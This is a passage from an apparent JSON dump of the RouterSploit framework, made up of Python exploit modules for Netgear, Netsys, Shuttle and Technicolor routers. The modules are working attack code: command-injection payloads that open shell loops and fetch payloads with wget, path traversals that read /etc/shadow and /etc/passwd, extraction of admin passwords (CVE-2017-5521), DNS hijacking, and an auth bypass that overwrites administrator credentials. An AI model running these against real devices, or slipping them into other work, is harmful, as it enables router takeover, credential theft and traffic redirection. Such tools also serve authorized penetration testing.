print_status(\"Trying to invoke command loop...\")\n        print_status(\"It is blind command injection. Response is not available.\")\n        shell(self, architecture=\"mipsbe\")\n\n    def execute(self, cmd):\n        payload = \"www.google.com; {}\".format(cmd)\n        data = {\n            \"host_name\": payload,\n            \"lookup\": \"Lookup\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/dnslookup.cgi\",\n            data=data,\n            auth=(self.username, self.password)\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        return None  # not possible to check if target is vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/dgn2200_ping_cgi_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear DGN2200 RCE\",\n        \"description\": \"Exploits Netgear DGN2200 RCE vulnerability in the ping.cgi script.\",\n        \"authors\": (\n            \"SivertPL\",  # vulnerability discovery\n            \"Josh Abraham <sinisterpatrician[at]google.com>\",  # routesploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/41394/\",\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077\",\n        ),\n        \"devices\": (\n            \"Netgear DGN2200v1\",\n            \"Netgear DGN2200v2\",\n            \"Netgear DGN2200v3\",\n            \"Netgear DGN2200v4\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username\")\n    password = OptString(\"password\", \"Password\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, command):\n        data = {\n            \"IPAddr1\": 12,\n            \"IPAddr2\": 12,\n            \"IPAddr3\": 12,\n            \"IPAddr4\": 12,\n            \"ping\": \"Ping\",\n            \"ping_IPAddr\": \"12.12.12.12; \" + command\n        }\n        referer = \"{}/DIAG_diag.htm\".format(self.target)\n        headers = {'referer': referer}\n\n        r = self.http_request(\n            method=\"POST\",\n            path=\"/ping.cgi\",\n            data=data,\n            auth=(self.username, self.password),\n            headers=headers\n        )\n        if r is None:\n            return \"\"\n\n        result = self.parse_output(r.text)\n        return result\n\n    def parse_output(self, text):\n        yet = False\n        result = []\n        for line in text.splitlines():\n            if line.startswith(\"<textarea\"):\n                yet = True\n                continue\n            if yet:\n                if line.startswith(\"</textarea>\"):\n                    break\n                result.append(line)\n        return \"\\n\".join(result)\n\n    @mute\n    def check(self):\n        \"\"\"\n        Method that verifies if the target is vulnerable.\n        \"\"\"\n        rand_marker = utils.random_text(6)\n        command = \"echo {}\".format(rand_marker)\n\n        if rand_marker in self.execute(command):\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/jnr1010_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear JNR1010 Path Traversal\",\n        \"description\": \"Module exploits Netgear JNR1010 Path Traversal vulnerability \"\n                       \"which allows to read any file on the system.\",\n        \"authors\": (\n            \"Todor Donev <todor.donev[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40736/\",\n        ),\n        \"devices\": (\n            \"Netgear JNR1010\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to log in\")\n    password = OptString(\"password\", \"Password to log in\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read\")\n\n    def run(self):\n        if self.check():\n            path = \"/cgi-bin/webproc?getpage={}&var:language=en_us&var:language=en_us\" \\\n                   \"&var:menu=advanced&var:page=basic_home\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n                auth=(self.username, self.password)\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:language=en_us\" \\\n               \"&var:menu=advanced&var:page=basic_home\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n            auth=(self.username, self.password),\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/multi_password_disclosure-2017-5521.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear Multi Password Disclosure\",\n        \"description\": \"Module exploits Password Disclosure vulnerability in multiple Netgear devices. \"\n                       \"If target is vulnerable administrator\\'s password is retrieved. \"\n                       \"This exploit only works if \\'password recovery\\' in router settings is OFF. \"\n                       \"If the exploit has already been run, then it might not work anymore until device reboot.\",\n        \"authors\": (\n            \"Simon Kenin <Trustwave SpiderLabs>\",  # vulnerability discovery\n            \"0BuRner\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911\",\n            \"https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/\",\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5521\",\n            \"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5521\",\n            \"http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability\",\n        ),\n        \"devices\": (\n            \"Netgear D6220\",\n            \"Netgear D6400\",\n            \"Netgear R6200v2\",\n            \"Netgear R6250\",\n            \"Netgear R6300v2\",\n            \"Netgear R6400\",\n            \"Netgear R6700\",\n            \"Netgear R6900\",\n            \"Netgear R7000\",\n            \"Netgear R7100LG\",\n            \"Netgear R7300DST\",\n            \"Netgear R7900\",\n            \"Netgear R8000\",\n            \"Netgear R8300\",\n            \"Netgear R8500\",\n            \"Netgear WNDR3400v2\",\n            \"Netgear WNDR3400v3\",\n            \"Netgear WNR3500Lv2\",\n            \"Netgear WNDR4500v2\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/\",\n            )\n\n            if response is not None:\n                # Detect model\n                model = response.headers.get('WWW-Authenticate')[13:-1]\n\n                # Grab token if exists\n                token = self.extract_token(response.text)\n                if token is False:\n                    token = \"routersploit\"\n                    print_status(\"Token not found\")\n                else:\n                    print_status(\"Token found: {}\".format(token))\n\n                # Detect firmware version\n                response = self.http_request(\n                    method=\"GET\",\n                    path=\"/currentsetting.htm\",\n                )\n                fw_version = \"\"\n                if response is not None and response.status_code == 200:\n                    fw_version = self.scrape(response.text, 'Firmware=', 'RegionTag').strip('\\r\\n')\n\n                print_status(\"Detected model: {} (FW: {})\".format(model, fw_version))\n\n                # Exploit vulnerability\n                path = \"/passwordrecovered.cgi?id={}\".format(token)\n                response = self.http_request(\n                    method=\"POST\",\n                    path=path\n                )\n\n                if response.text.find('left\\\">') != -1:\n                    username, password = self.extract_password(response.text)\n                    print_success('Exploit success! login: {}, password: {}'.format(username, password))\n                else:\n                    print_error(\"Exploit failed. Could not extract credentials. Reboot your device and try again.\")\n            else:\n                print_error(\"Exploit failed. Could not extract credentials.\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    @staticmethod\n    def scrape(text, start_trig, end_trig):\n        if text.find(start_trig) != -1:\n            return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]\n        else:\n            return False\n\n    @staticmethod\n    def extract_token(html):\n        return Exploit.scrape(html, 'unauth.cgi?id=', '\\\"')\n\n    @staticmethod\n    def extract_password(html):\n        username = (repr(Exploit.scrape(html, 'Router Admin Username</td>', '</td>')))\n        username = Exploit.scrape(username, '>', '\\'')\n        password = (repr(Exploit.scrape(html, 'Router Admin Password</td>', '</td>')))\n        password = Exploit.scrape(password, '>', '\\'')\n        if username is False:\n            username = (Exploit.scrape(html[html.find('left\\\">'):-1], 'left\\\">', '</td>'))\n            password = (Exploit.scrape(html[html.rfind('left\\\">'):-1], 'left\\\">', '</td>'))\n\n        password = password.replace(\"&#35;\", \"#\").replace(\"&#38;\", \"&\")\n\n        return username, password\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\"\n        )\n\n        if response is not None:\n            header = response.headers.get('WWW-Authenticate')\n            token = self.extract_token(response.text)\n            return header is not None and 'NETGEAR' in header.upper() and token is not False  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/multi_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear Multi RCE\",\n        \"description\": \"Module exploits remote command execution in multiple Netgear devices. If the target is \"\n                       \"vulnerable, command loop is invoked that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Andrei Costin <andrei[at]firmware.re>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://firmware.re/vulns/acsa-2015-001.php\",\n            \"https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf\",\n        ),\n        \"devices\": (\n            \"Netgear WG102\",\n            \"Netgear WG103\",\n            \"Netgear WN604\",\n            \"Netgear WNDAP350\",\n            \"Netgear WNDAP360\",\n            \"Netgear WNAP320\",\n            \"Netgear WNAP210\",\n            \"Netgear WNDAP660\",\n            \"Netgear WNDAP620\",\n            \"Netgear WNDAP380R\",\n            \"Netgear WNDAP380R(v2)\",\n            \"Netgear WN370\",\n            \"Netgear WND930\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    arch = OptString('mipsbe', 'Target architecture: mipsbe, mipsle')\n\n    def __init__(self):\n        self.resources = ['boardData102.php', 'boardData103.php', 'boardDataNA.php', 'boardDataWW.php', 'boardDataJP.php']\n        self.valid_resource = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>\")\n\n            if self.arch == \"mipsbe\":\n                shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\")\n            elif self.arch == \"mipsle\":\n                shell(self, architecture=\"mipsle\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        path = (\"/{}?writeData=true&reginfo=0&macAddress= \"\n                \"001122334455 -c 0 ;{}; echo #\".format(self.valid_resource, cmd))\n\n        # blind command injection\n        self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        for resource in self.resources:\n            path = (\"/{}?writeData=true&reginfo=0&macAddress= \"\n                    \"001122334455 -c 0 ;{}; echo #\".format(resource, cmd))\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n            if response is None:\n                return False  # target is not vulnerable\n\n            if response.status_code == 200:\n                response_body = response.text\n                if \"Update Success!\" in response_body and mark in response_body:\n                    self.valid_resource = resource\n                    return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/n300_auth_bypass.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear N300 Auth Bypass\",\n        \"description\": \"Module exploits authentication bypass vulnerability in Netgear N300 devices. \"\n                       \"It is possible to access administration panel without providing password.\",\n        \"authors\": (\n            \"Daniel Haake <daniel.haake[at]csnc.de>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt\",\n            \"http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html\",\n        ),\n        \"devices\": (\n            \"Netgear N300\",\n            \"Netgear JNR1010v2\",\n            \"Netgear JNR3000\",\n            \"Netgear JWNR2000v5\",\n            \"Netgear JWNR2010v5\",\n            \"Netgear R3250\",\n            \"Netgear WNR2020\",\n            \"Netgear WNR614\",\n            \"Netgear WNR618\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            url = \"{}:{}\".format(self.target, self.port)\n            print_info(\"Visit: {}/\\n\".format(url))\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        # unauthorized\n        if response.status_code == 401:\n            for _ in range(0, 3):\n                response = self.http_request(\n                    method=\"GET\",\n                    path=\"/BRS_netgear_success.html\",\n                )\n                if response is None:\n                    return False  # target is not vulnerable\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/\"\n            )\n            if response is None:\n                return False  # target is not vulnerable\n\n            # authorized\n            if response.status_code == 200:\n                return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/prosafe_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear ProSafe RCE\",\n        \"description\": \"Module exploits remote command execution vulnerability in Netgear ProSafe \"\n                       \"WC9500, WC7600, WC7520 devices. If the target is vulnerable command shell is invoked.\",\n        \"authors\": (\n            \"Andrei Costin <andrei[at]firmware.re>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://firmware.re/vulns/acsa-2015-002.php\",\n            \"https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf\",\n        ),\n        \"devices\": (\n            \"Netgear ProSafe WC9500\",\n            \"Netgear ProSafe WC7600\",\n            \"Netgear ProSafe WC7520\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        mark = utils.random_text(32)\n        headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n        data = 'reqMethod=json_cli_reqMethod\" \"json_cli_jsonData\";{}; echo {}'.format(cmd, mark)\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/login_handler.php\",\n            headers=headers,\n            data=data\n        )\n\n        if response is None:\n            return \"\"\n\n        if mark in response.text:\n            regexp = \"(|.+?){}\".format(mark)\n            res = re.findall(regexp, response.text, re.DOTALL)\n\n            if len(res):\n                return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/r7000_r6400_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear R7000 & R6400 RCE\",\n        \"description\": \"Module exploits remote command execution in Netgear R7000 and R6400 devices. If the target is \"\n                       \"vulnerable, command loop is invoked that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Chad Dougherty\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/\",\n            \"https://www.exploit-db.com/exploits/40889/\",\n            \"http://www.kb.cert.org/vuls/id/582384\",\n        ),\n        \"devices\": (\n            \"R6400 (AC1750)\",\n            \"R7000 Nighthawk (AC1900, AC2300)\",\n            \"R7500 Nighthawk X4 (AC2350)\",\n            \"R7800 Nighthawk X4S(AC2600)\",\n            \"R8000 Nighthawk (AC3200)\",\n            \"R8500 Nighthawk X8 (AC5300)\",\n            \"R9000 Nighthawk X10 (AD7200)\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is probably vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection. Try to start telnet with telnet telnetd -p '4445'\")\n            shell(self, architecture=\"armle\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = cmd.replace(\" \", \"$IFS\")\n        path = \"/cgi-bin/;{}\".format(cmd)\n\n        self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"HEAD\",\n            path=\"/\",\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if \"WWW-Authenticate\" in response.headers.keys():\n            if any(map(lambda x: x in response.headers['WWW-Authenticate'], [\"NETGEAR R7000\", \"NETGEAR R6400\"])):\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/rax30_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear RAX30 RCE\",\n        \"description\": \"Module exploits remote command execution in Netgear RAX30 devices. If the target is \"\n                       \"vulnerable, command loop is invoked that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Pwn2Own 2022 Toronto - multiple researchers\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.synacktiv.com/en/publications/cool-vulns-dont-live-long-netgear-and-pwn2own.html\",\n            \"https://claroty.com/team82/research/chaining-five-vulnerabilities-to-exploit-netgear-nighthawk-rax30-routers-at-pwn2own-toronto-2022\",\n            \"https://mahaloz.re/2023/02/25/pwnagent-netgear.html\",\n        ),\n        \"devices\": (\n            \"Netgear RAX30\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available\")\n\n            shell(self, architecture=\"armle\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\n            \"User-Agent\": \"`{}`\".format(cmd)\n        }\n\n        self.http_request(\n            method=\"GET\",\n            path=\"/\",\n            headers=headers\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\"\n        )\n\n        if response and \"WWW-Authenticate\" in response.headers.keys() and \\\n          'Basic realm=\"RAX30\"' in response.headers[\"WWW-Authenticate\"]:\n            return True\n\n        return False\n\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netgear/wnr500_612v3_jnr1010_2010_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal\",\n        \"description\": \"Module exploits Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal \"\n                       \"vulnerability which allows to read any file on the system.\",\n        \"authors\": (\n            \"Todor Donev <todor.donev[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40737/\",\n        ),\n        \"devices\": (\n            \"Netgear WNR500\",\n            \"Netgear WNR612v3\",\n            \"Netgear JNR1010\",\n            \"Netgear JNR2010\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to log in\")\n    password = OptString(\"password\", \"Password to log in\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read\")\n\n    def run(self):\n        if self.check():\n            path = \"/cgi-bin/webproc?getpage={}&errorpage=html/main.html&var:language=en_us\" \\\n                   \"&var:language=en_us&var:page=BAS_bpa\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n                auth=(self.username, self.password)\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/cgi-bin/webproc?getpage=/etc/passwd&errorpage=html/main.html\" \\\n               \"&var:language=en_us&var:language=en_us&var:page=BAS_bpa\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path,\n            auth=(self.username, self.password)\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/netsys/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/netsys/multi_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Netsys Multi RCE\",\n        \"description\": \"Exploits Netsys multiple remote command execution vulnerabilities that allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"admin <admin[at]bbs.00wz.top>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://bbs.00wz.top/forum.php?mod=viewthread&tid=12630\",\n        ),\n        \"devices\": (\n            \"Multiple Netsys\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(9090, \"Target HTTP port\")\n\n    def __init__(self):\n        self.injections = [\n            \"/view/IPV6/ipv6networktool/traceroute/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}\",\n            \"/view/systemConfig/systemTool/ping/ping.php?text_target=127.0.0.1&text_pingcount=1&text_packetsize=40|{}\",\n            \"/view/systemConfig/systemTool/traceRoute/traceroute.php?text_target=127.0.0.1&text_ageout=2&text_minttl=1&text_maxttl=1|{}\"\n        ]\n\n        self.valid = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsle\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        marker = utils.random_text(16)\n        cmd = cmd.replace(\" \", \"+\")\n        payload = \"echo+{};{};echo+{};\".format(marker, cmd, marker)\n\n        path = self.valid.format(payload)\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return \"\"\n\n        regexp = \"{}(.+?){}\".format(marker, marker)\n        res = re.findall(regexp, response.text, re.DOTALL)\n\n        if len(res):\n            return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        cmd = \"cat+/etc/passwd;\"\n\n        for injection in self.injections:\n            path = injection.format(cmd)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n            if response is None:\n                continue\n\n            if utils.detect_file_content(response.text, \"/etc/passwd\"):\n                self.valid = injection\n                return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/shuttle/915wm_dns_change.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Shuttle 915 WM DNS Change\",\n        \"description\": \"Module exploits Shuttle Tech ADSL Modem-Router 915 WM dns change vulnerability. \"\n                       \"If the target is vulnerable it is possible to change dns settings.\",\n        \"authors\": (\n            \"Todor Donev <todor.doven[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/35995/\",\n            \"https://github.com/jh00nbr/Routerhunter-2.0\",\n        ),\n        \"devices\": (\n            \"Shuttle Tech ADSL Modem-Router 915 WM\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    dns1 = OptString('8.8.8.8', 'Primary DNS Server')\n    dns2 = OptString('8.8.4.4', 'Seconary DNS Server')\n\n    def run(self):\n        path = \"/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1\".format(self.dns1,\n                                                                                            self.dns2)\n\n        print_status(\"Attempting to change DNS settings...\")\n        print_status(\"Primary DNS: {}\".format(self.dns1))\n        print_status(\"Secondary DNS: {}\".format(self.dns2))\n\n        response = self.http_request(\n            method=\"POST\",\n            path=path\n        )\n        if response is None:\n            return\n\n        if response.status_code == 200:\n            print_success(\"DNS settings has been changed\")\n        else:\n            print_error(\"Could not change DNS settings\")\n\n    @mute\n    def check(self):\n        # it is not possible to check if the target is vulnerable without exploiting device (changing dns)\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/shuttle/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/technicolor/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/technicolor/dwg855_authbypass.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Technicolor DWG-855 Auth Bypass\",\n        \"description\": \"Module exploits Technicolor DWG-855 Authentication Bypass \"\n                       \"vulnerability which allows changing administrator's password.\\n\\n\"\n                       \"NOTE: This module will errase previous credentials, this is NOT stealthy.\",\n        \"authors\": (\n            \"JPaulMora <https://JPaulMora.GitHub.io>\",  # vulnerability discovery, initial routersploit module.\n            \"0BuRner\",  # routersploit module\n        ),\n        \"references\": (\n            \"Bug discovered some time before Aug 2016, this is the first reference to it!\\n\"\n            \"This exploit works with any POST parameter, but \"\n            \"changing admin creds gives you access to everything else.\",\n        ),\n        \"devices\": (\n            \"Technicolor DWG-855\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    nuser = OptString(\"ruser\", \"New user (overwrites existing user)\")\n    npass = OptString(\"rpass\", \"New password (overwrites existing password)\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Changing\", self.target, \"credentials to\", self.nuser, \":\", self.npass)\n            headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n            data = {\n                \"HttpUserId\": self.nuser,\n                \"Password\": self.npass,\n                \"PasswordReEnter\": self.npass,\n                \"RestoreFactoryNo\": \"0x00\"\n            }\n\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/goform/RgSecurity\",\n                headers=headers,\n                data=data\n            )\n\n            if response is None:\n                print_error(\"Target did not answer request.\")\n            elif response.status_code == 401:\n                # Server obeys request but then sends unauthorized response.\n                # Here we send a GET request with the new creds.\n                check_response = self.http_request(\n                    method=\"GET\",\n                    path=\"/RgSwInfo.asp\",\n                    auth=(self.nuser, self.npass)\n                )\n\n                if check_response.status_code == 200:\n                    print_success(\"Credentials changed!\")\n                elif response.status_code == 401:\n                    print_error(\"Target answered, denied access.\")\n                else:\n                    pass\n            else:\n                print_error(\"Unknown error.\")\n        else:\n            print_error(\"Exploit failed - Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        # The check consists in trying to access router resources\n        # with incorrect creds. in this case logo.jpg Try it yourself!\n        vulnresp = \"\\x11\\x44\\x75\\x63\\x6b\\x79\\x00\"  # Hex data of 0x11 + \"Ducky\" + 0x00 found on image \"logo.jpg\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/logo.jpg\",\n            auth=(\"\", \"\")\n        )\n        if response is not None and 